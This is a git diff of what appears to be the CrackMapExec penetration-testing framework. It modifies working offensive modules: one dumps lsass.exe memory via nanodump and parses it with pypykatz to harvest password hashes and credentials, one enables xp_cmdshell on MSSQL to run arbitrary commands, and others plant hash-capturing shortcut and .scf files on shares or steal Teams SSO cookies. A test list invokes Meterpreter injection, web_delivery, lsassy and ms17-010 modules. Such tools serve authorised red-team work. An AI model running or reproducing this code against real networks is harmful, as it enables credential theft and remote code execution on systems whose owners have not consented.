context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
|
||||
self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
|
||||
self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
else:
|
||||
try:
|
||||
exec_method = MSSQLEXEC(connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method.get_file(self.tmp_dir + nano_log_name, filename)
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while getting file: {e}")
|
||||
self.context.log.fail(f"Error while getting file: {e}")
|
||||
|
||||
self.delete_nanodump_binary()
|
||||
|
||||
try:
|
||||
connection.execute(f"del {self.tmp_dir + self.nano}")
|
||||
context.log.success(f"Deleted nano file on the {self.share} dir")
|
||||
self.connection.execute(f"del {self.tmp_dir + nano_log_name}")
|
||||
self.context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting nano file on dir {self.tmp_dir}: {e}")
|
||||
|
||||
try:
|
||||
connection.execute(f"del {self.tmp_dir + nano_log_name}")
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
|
||||
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
|
||||
|
||||
fh = open(filename, "r+b")
|
||||
fh.seek(0)
|
||||
|
@ -187,16 +210,16 @@ class CMEModule:
|
|||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
except Exception as e:
|
||||
pypy_parse = None
|
||||
context.log.fail(f'Error parsing minidump: {e}')
|
||||
self.context.log.fail(f"Error parsing minidump: {e}")
|
||||
|
||||
ssps = [
|
||||
'msv_creds',
|
||||
'wdigest_creds',
|
||||
'ssp_creds',
|
||||
'livessp_creds',
|
||||
'kerberos_creds',
|
||||
'credman_creds',
|
||||
'tspkg_creds'
|
||||
"msv_creds",
|
||||
"wdigest_creds",
|
||||
"ssp_creds",
|
||||
"livessp_creds",
|
||||
"kerberos_creds",
|
||||
"credman_creds",
|
||||
"tspkg_creds"
|
||||
]
|
||||
|
||||
for luid in pypy_parse.logon_sessions:
|
||||
|
@ -215,19 +238,26 @@ class CMEModule:
|
|||
else:
|
||||
credtype = "hash"
|
||||
credential = NThash
|
||||
context.log.highlight(f"{domain}\\{username}:{credential}")
|
||||
host_id = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
self.context.log.highlight(f"{domain}\\{username}:{credential}")
|
||||
host_id = self.context.db.get_hosts(self.connection.host)[0][0]
|
||||
self.context.db.add_credential(
|
||||
credtype,
|
||||
connection.domain,
|
||||
username,
|
||||
credential,
|
||||
pillaged_from=host_id
|
||||
)
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
bh_creds.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
if "." not in domain and domain.upper() in self.connection.domain.upper():
|
||||
domain = self.connection.domain
|
||||
bh_creds.append({"username": username.upper(), "domain": domain.upper()})
|
||||
if len(bh_creds) > 0:
|
||||
add_user_bh(bh_creds, None, context.log, connection.config)
|
||||
add_user_bh(bh_creds, None, self.context.log, self.connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error opening dump file: {e}")
|
||||
self.context.log.fail(f"Error opening dump file: {e}")
|
||||
|
||||
def delete_nanodump_binary(self):
|
||||
try:
|
||||
self.connection.execute(f"del {self.tmp_dir + self.nano}")
|
||||
self.context.log.success(f"Deleted nano file on the {self.share} dir")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}")
|
||||
|
|
|
@ -14,7 +14,7 @@ class CMEModule:
|
|||
name = "scuffy"
|
||||
description = "Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
|
|
|
@ -14,7 +14,7 @@ class CMEModule:
|
|||
name = "slinky"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
|
|
|
@ -9,7 +9,7 @@ class CMEModule:
|
|||
name = 'teams_localdb'
|
||||
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = False
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from cme.config import process_secret
|
||||
from cme.connection import *
|
||||
from cme.logger import CMEAdapter
|
||||
from ftplib import FTP, error_reply, error_temp, error_perm, error_proto
|
||||
|
@ -67,14 +67,14 @@ class ftp(connection):
|
|||
self.conn.login(user=username, passwd=password)
|
||||
|
||||
self.logger.success(
|
||||
f"{username}:{password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}"
|
||||
f"{username}:{process_secret(password)}"
|
||||
)
|
||||
|
||||
self.conn.close()
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.fail(
|
||||
f'{username}:{password if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8} (Response:{e})'
|
||||
f'{username}:{process_secret(password)} (Response:{e})'
|
||||
)
|
||||
self.conn.close()
|
||||
return False
|
||||
|
|
|
@ -61,7 +61,7 @@ class mssql(connection):
|
|||
self.enum_host_info()
|
||||
self.print_host_info()
|
||||
self.login()
|
||||
if hasattr(self.args, 'module') and self.args.module:
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
|
@ -69,10 +69,10 @@ class mssql(connection):
|
|||
def proto_logger(self):
|
||||
self.logger = CMEAdapter(
|
||||
extra={
|
||||
'protocol': 'MSSQL',
|
||||
'host': self.host,
|
||||
'port': self.args.port,
|
||||
'hostname': 'None'
|
||||
"protocol": "MSSQL",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"hostname": "None"
|
||||
}
|
||||
)
|
||||
|
||||
|
@ -80,7 +80,7 @@ class mssql(connection):
|
|||
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
|
||||
try:
|
||||
# Probably a better way of doing this, grab our IP from the socket
|
||||
self.local_ip = str(self.conn.socket).split()[2].split('=')[1].split(':')[0]
|
||||
self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
|
||||
except:
|
||||
pass
|
||||
|
||||
|
@ -90,7 +90,7 @@ class mssql(connection):
|
|||
try:
|
||||
smb_conn = SMBConnection(self.host, self.host, None)
|
||||
try:
|
||||
smb_conn.login('', '')
|
||||
smb_conn.login("", "")
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.getErrorString():
|
||||
pass
|
||||
|
@ -98,7 +98,7 @@ class mssql(connection):
|
|||
self.domain = smb_conn.getServerDNSDomainName()
|
||||
self.hostname = smb_conn.getServerName()
|
||||
self.server_os = smb_conn.getServerOS()
|
||||
self.logger.extra['hostname'] = self.hostname
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
try:
|
||||
smb_conn.logoff()
|
||||
|
@ -134,7 +134,7 @@ class mssql(connection):
|
|||
|
||||
def create_conn_obj(self):
|
||||
try:
|
||||
self.conn = tds.MSSQL(self.host, self.args.port, rowsPrinter=self.logger)
|
||||
self.conn = tds.MSSQL(self.host, self.args.port)
|
||||
self.conn.connect()
|
||||
except socket.error:
|
||||
return False
|
||||
|
@ -145,19 +145,18 @@ class mssql(connection):
|
|||
try:
|
||||
results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
|
||||
is_admin = int(results[0][""])
|
||||
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
self.logger.debug(f"User is admin")
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error calling check_if_admin(): {e}")
|
||||
self.logger.fail(f"Error querying for sysadmin role: {e}")
|
||||
return False
|
||||
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
self.logger.debug(f"User is admin")
|
||||
else:
|
||||
return False
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
try:
|
||||
self.conn.disconnect()
|
||||
except:
|
||||
|
@ -165,15 +164,15 @@ class mssql(connection):
|
|||
self.create_conn_obj()
|
||||
logging.getLogger("impacket").disabled = True
|
||||
|
||||
nthash = ''
|
||||
nthash = ""
|
||||
hashes = None
|
||||
if ntlm_hash != '':
|
||||
if ntlm_hash.find(':') != -1:
|
||||
if ntlm_hash != "":
|
||||
if ntlm_hash.find(":") != -1:
|
||||
hashes = ntlm_hash
|
||||
nthash = ntlm_hash.split(':')[1]
|
||||
nthash = ntlm_hash.split(":")[1]
|
||||
else:
|
||||
# only nt hash
|
||||
hashes = ':%s' % ntlm_hash
|
||||
hashes = f":{ntlm_hash}"
|
||||
nthash = ntlm_hash
|
||||
|
||||
if not all('' == s for s in [self.nthash, password, aesKey]):
|
||||
|
@ -188,7 +187,7 @@ class mssql(connection):
|
|||
|
||||
self.password = password
|
||||
if username == '' and useCache:
|
||||
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
principal = ccache.principal.toPrincipal()
|
||||
self.username = principal.components[0]
|
||||
username = principal.components[0]
|
||||
|
@ -281,9 +280,9 @@ class mssql(connection):
|
|||
res = self.conn.login(
|
||||
None,
|
||||
username,
|
||||
'',
|
||||
"",
|
||||
domain,
|
||||
':' + nthash if not lmhash else ntlm_hash,
|
||||
":" + nthash if not lmhash else ntlm_hash,
|
||||
not self.args.local_auth
|
||||
)
|
||||
if res is not True:
|
||||
|
@ -294,10 +293,10 @@ class mssql(connection):
|
|||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
self.db.add_credential('hash', domain, username, ntlm_hash)
|
||||
self.db.add_credential("hash", domain, username, ntlm_hash)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
|
||||
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
|
||||
|
||||
out = u"{}\\{} {} {}".format(
|
||||
domain,
|
||||
|
@ -318,46 +317,49 @@ class mssql(connection):
|
|||
return False
|
||||
|
||||
def mssql_query(self):
|
||||
self.conn.sql_query(self.args.mssql_query)
|
||||
self.conn.printRows()
|
||||
result = self.conn.sql_query(self.args.mssql_query)
|
||||
self.logger.debug(f"SQL Query Result: {result}")
|
||||
for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines():
|
||||
if line.strip() != '':
|
||||
self.logger.highlight(line.strip())
|
||||
return self.conn._MSSQL__rowsPrinter.getMessage()
|
||||
|
||||
@requires_admin
|
||||
def execute(self, payload=None, get_output=False, methods=None):
|
||||
def execute(self, payload=None, print_output=False):
|
||||
if not payload and self.args.execute:
|
||||
payload = self.args.execute
|
||||
if not self.args.no_output: get_output = True
|
||||
|
||||
self.logger.info(f"Command to execute:\n{payload}")
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
raw_output = exec_method.execute(payload, get_output)
|
||||
self.logger.info("Executed command via mssqlexec")
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
raw_output = exec_method.execute(payload, print_output)
|
||||
self.logger.info("Executed command via mssqlexec")
|
||||
self.logger.debug(f"Raw output: {raw_output}")
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
return None
|
||||
|
||||
if hasattr(self, "server"):
|
||||
self.server.track_host(self.host)
|
||||
|
||||
output = f"{raw_output}"
|
||||
|
||||
if self.args.execute or self.args.ps_execute:
|
||||
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
|
||||
self.logger.success("Executed command via mssqlexec")
|
||||
buf = StringIO(output).readlines()
|
||||
for line in buf:
|
||||
if line.strip() != '':
|
||||
self.logger.highlight(line.strip())
|
||||
if self.args.no_output:
|
||||
self.logger.debug(f"Output set to disabled")
|
||||
else:
|
||||
for line in raw_output:
|
||||
self.logger.highlight(line)
|
||||
|
||||
return output
|
||||
return raw_output
|
||||
|
||||
@requires_admin
|
||||
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True):
|
||||
if not payload and self.args.ps_execute:
|
||||
payload = self.args.ps_execute
|
||||
if not self.args.no_output: get_output = True
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
|
||||
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method (probably an escaping issue)
|
||||
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
|
||||
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
|
||||
return self.execute(ps_command, get_output)
|
||||
|
||||
|
@ -387,49 +389,47 @@ class mssql(connection):
|
|||
except Exception as e:
|
||||
self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}")
|
||||
|
||||
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
|
||||
# The whole tds library in impacket needs a good overhaul to preserve my sanity
|
||||
def printRepliesCME(self):
|
||||
for keys in self.replies.keys():
|
||||
for i, key in enumerate(self.replies[keys]):
|
||||
if key["TokenType"] == TDS_ERROR_TOKEN:
|
||||
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
self.lastError = SQLErrorException(
|
||||
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
self._MSSQL__rowsPrinter.error(error)
|
||||
|
||||
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
|
||||
# The whole tds library in impacket needs a good overhaul to preserve my sanity
|
||||
def printRepliesCME(self):
|
||||
for keys in self.replies.keys():
|
||||
for i, key in enumerate(self.replies[keys]):
|
||||
if key["TokenType"] == TDS_ERROR_TOKEN:
|
||||
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
self.lastError = SQLErrorException(
|
||||
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
self._MSSQL__rowsPrinter.error(error)
|
||||
|
||||
elif key["TokenType"] == TDS_INFO_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
|
||||
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
|
||||
)
|
||||
|
||||
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
|
||||
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
|
||||
if record["OldValue"] == "":
|
||||
record["OldValue"] = "None".encode('utf-16le')
|
||||
elif record["NewValue"] == '':
|
||||
record["NewValue"] = "None".encode('utf-16le')
|
||||
if key["Type"] == TDS_ENVCHANGE_DATABASE:
|
||||
_type = "DATABASE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
|
||||
_type = "LANGUAGE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
|
||||
_type = "CHARSET"
|
||||
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
|
||||
_type = "PACKETSIZE"
|
||||
else:
|
||||
_type = f"{key['Type']:d}"
|
||||
elif key["TokenType"] == TDS_INFO_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
|
||||
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
|
||||
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
|
||||
)
|
||||
|
||||
tds.MSSQL.printReplies = printRepliesCME
|
||||
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
|
||||
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
|
||||
if record["OldValue"] == "":
|
||||
record["OldValue"] = "None".encode('utf-16le')
|
||||
elif record["NewValue"] == '':
|
||||
record["NewValue"] = "None".encode('utf-16le')
|
||||
if key["Type"] == TDS_ENVCHANGE_DATABASE:
|
||||
_type = "DATABASE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
|
||||
_type = "LANGUAGE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
|
||||
_type = "CHARSET"
|
||||
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
|
||||
_type = "PACKETSIZE"
|
||||
else:
|
||||
_type = f"{key['Type']:d}"
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
|
||||
)
|
||||
|
||||
tds.MSSQL.printReplies = printRepliesCME
|
||||
|
|
|
@ -8,26 +8,40 @@ from cme.logger import cme_logger
|
|||
class MSSQLEXEC:
|
||||
def __init__(self, connection):
|
||||
self.mssql_conn = connection
|
||||
self.outputBuffer = ''
|
||||
self.outputBuffer = ""
|
||||
|
||||
def execute(self, command, output=False):
|
||||
command_output = []
|
||||
try:
|
||||
self.enable_xp_cmdshell()
|
||||
self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
|
||||
|
||||
if output:
|
||||
self.mssql_conn.printReplies()
|
||||
self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
|
||||
self.mssql_conn.printRows()
|
||||
self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
if len(self.outputBuffer):
|
||||
self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
|
||||
|
||||
self.disable_xp_cmdshell()
|
||||
return self.outputBuffer
|
||||
|
||||
except Exception as e:
|
||||
cme_logger.debug(f"Error executing command via mssqlexec: {e}")
|
||||
cme_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
|
||||
try:
|
||||
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
|
||||
cme_logger.debug(f"SQL Query Result: {result}")
|
||||
for row in result:
|
||||
if row["output"] == "NULL":
|
||||
continue
|
||||
command_output.append(row["output"])
|
||||
except Exception as e:
|
||||
cme_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
|
||||
|
||||
if output:
|
||||
cme_logger.debug(f"Output is enabled")
|
||||
for row in command_output:
|
||||
cme_logger.display(row)
|
||||
# self.mssql_conn.printReplies()
|
||||
# self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
|
||||
# self.mssql_conn.printRows()
|
||||
# self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
# if len(self.outputBuffer):
|
||||
# self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
|
||||
try:
|
||||
self.disable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
cme_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
|
||||
return command_output
|
||||
# return self.outputBuffer
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
|
|
|
@ -725,7 +725,7 @@ class smb(connection):
|
|||
if method == "wmiexec":
|
||||
try:
|
||||
exec_method = WMIEXEC(
|
||||
self.host if not self.kerberos else self.hostname + '.' + self.domain,
|
||||
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||
self.smb_share_name,
|
||||
self.username,
|
||||
self.password,
|
||||
|
@ -746,7 +746,7 @@ class smb(connection):
|
|||
elif method == "mmcexec":
|
||||
try:
|
||||
exec_method = MMCEXEC(
|
||||
self.host if not self.kerberos else self.hostname + '.' + self.domain,
|
||||
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||
self.smb_share_name,
|
||||
self.username,
|
||||
self.password,
|
||||
|
|
|
@ -2,6 +2,9 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
import logging
|
||||
|
||||
import sys
|
||||
from io import StringIO
|
||||
|
||||
import paramiko
|
||||
|
||||
from cme.config import process_secret
|
||||
|
@ -12,9 +15,10 @@ from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsEr
|
|||
|
||||
class ssh(connection):
|
||||
def __init__(self, args, db, host):
|
||||
super().__init__(args, db, host)
|
||||
self.protocol = "SSH"
|
||||
self.remote_version = None
|
||||
self.server_os = None
|
||||
super().__init__(args, db, host)
|
||||
|
||||
|
||||
@staticmethod
|
||||
|
@ -116,23 +120,30 @@ class ssh(connection):
|
|||
self.admin_privs = True
|
||||
return True
|
||||
|
||||
def plaintext_login(self, username, password):
|
||||
def plaintext_login(self, username, password, private_key=None):
|
||||
try:
|
||||
if self.args.key_file:
|
||||
self.logger.debug(f"Logging in with keyfile: {self.args.key_file}")
|
||||
with open(self.args.key_file, "r") as f:
|
||||
key_data = f.read()
|
||||
if self.args.key_file or private_key:
|
||||
if private_key:
|
||||
pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
|
||||
else:
|
||||
pkey = paramiko.RSAKey.from_private_key_file(self.args.key_file)
|
||||
|
||||
self.logger.debug(f"Logging in with key")
|
||||
self.conn.connect(
|
||||
self.host,
|
||||
port=self.args.port,
|
||||
username=username,
|
||||
passphrase=password,
|
||||
key_filename=self.args.key_file,
|
||||
passphrase=password if password != "" else None,
|
||||
pkey=pkey,
|
||||
look_for_keys=False,
|
||||
allow_agent=False
|
||||
)
|
||||
cred_id = self.db.add_credential("key", username, password, key=key_data)
|
||||
if private_key:
|
||||
cred_id = self.db.add_credential("key", username, password if password != "" else "", key=private_key)
|
||||
else:
|
||||
with open(self.args.key_file, "r") as f:
|
||||
key_data = f.read()
|
||||
cred_id = self.db.add_credential("key", username, password if password != "" else "", key=key_data)
|
||||
else:
|
||||
self.logger.debug(f"Logging in with password")
|
||||
self.conn.connect(
|
||||
|
|
|
@ -289,7 +289,7 @@ class database:
|
|||
q = q.filter(
|
||||
self.KeysTable.c.credid == cred_id
|
||||
)
|
||||
results = self.sess.execute(q)
|
||||
results = self.sess.execute(q).all()
|
||||
return results
|
||||
|
||||
def add_admin_user(self, credtype, username, secret, host_id=None, cred_id=None):
|
||||
|
@ -408,7 +408,10 @@ class database:
|
|||
self.CredentialsTable.c.credtype == cred_type
|
||||
)
|
||||
results = self.sess.execute(q).first()
|
||||
return results.id
|
||||
if results is None:
|
||||
return None
|
||||
else:
|
||||
return results.id
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""
|
||||
|
|
|
@ -7,7 +7,7 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help
|
|||
|
||||
class navigator(DatabaseNavigator):
|
||||
def display_creds(self, creds):
|
||||
data = [["CredID", "Admin On", "Total Login", "Total Shell", "Username", "Password", "CredType"]]
|
||||
data = [["CredID", "Admin On", "Total Logins", "Total Shells", "Username", "Password", "CredType"]]
|
||||
|
||||
for cred in creds:
|
||||
cred_id = cred[0]
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
##### SMB
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares --filter-shares READ WRITE
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --pass-pol
|
||||
|
@ -44,11 +44,12 @@ crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider
|
|||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
|
||||
# currently hanging indefinitely - TODO: look into this
|
||||
#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover
|
||||
#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy
|
||||
# You must replace this with the proper CA information!
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
|
||||
#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010
|
||||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol
|
||||
|
@ -188,4 +189,8 @@ crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o UR
|
|||
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||
##### RDP
|
||||
crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS
|
||||
crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS --nla-screenshot
|
||||
crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS --nla-screenshot
|
||||
##### SSH - Uncomment these lines to test SSH; requires the private key "test_key" in the local directory
|
||||
#crackmapexec ssh TARGET -u USERNAME -p PASSWORD KERBEROS
|
||||
#crackmapexec ssh TARGET -u USERNAME -p PASSWORD --key-file test_key
|
||||
#crackmapexec ssh TARGET -u USERNAME --key-file test_key
|
Loading…
Reference in New Issue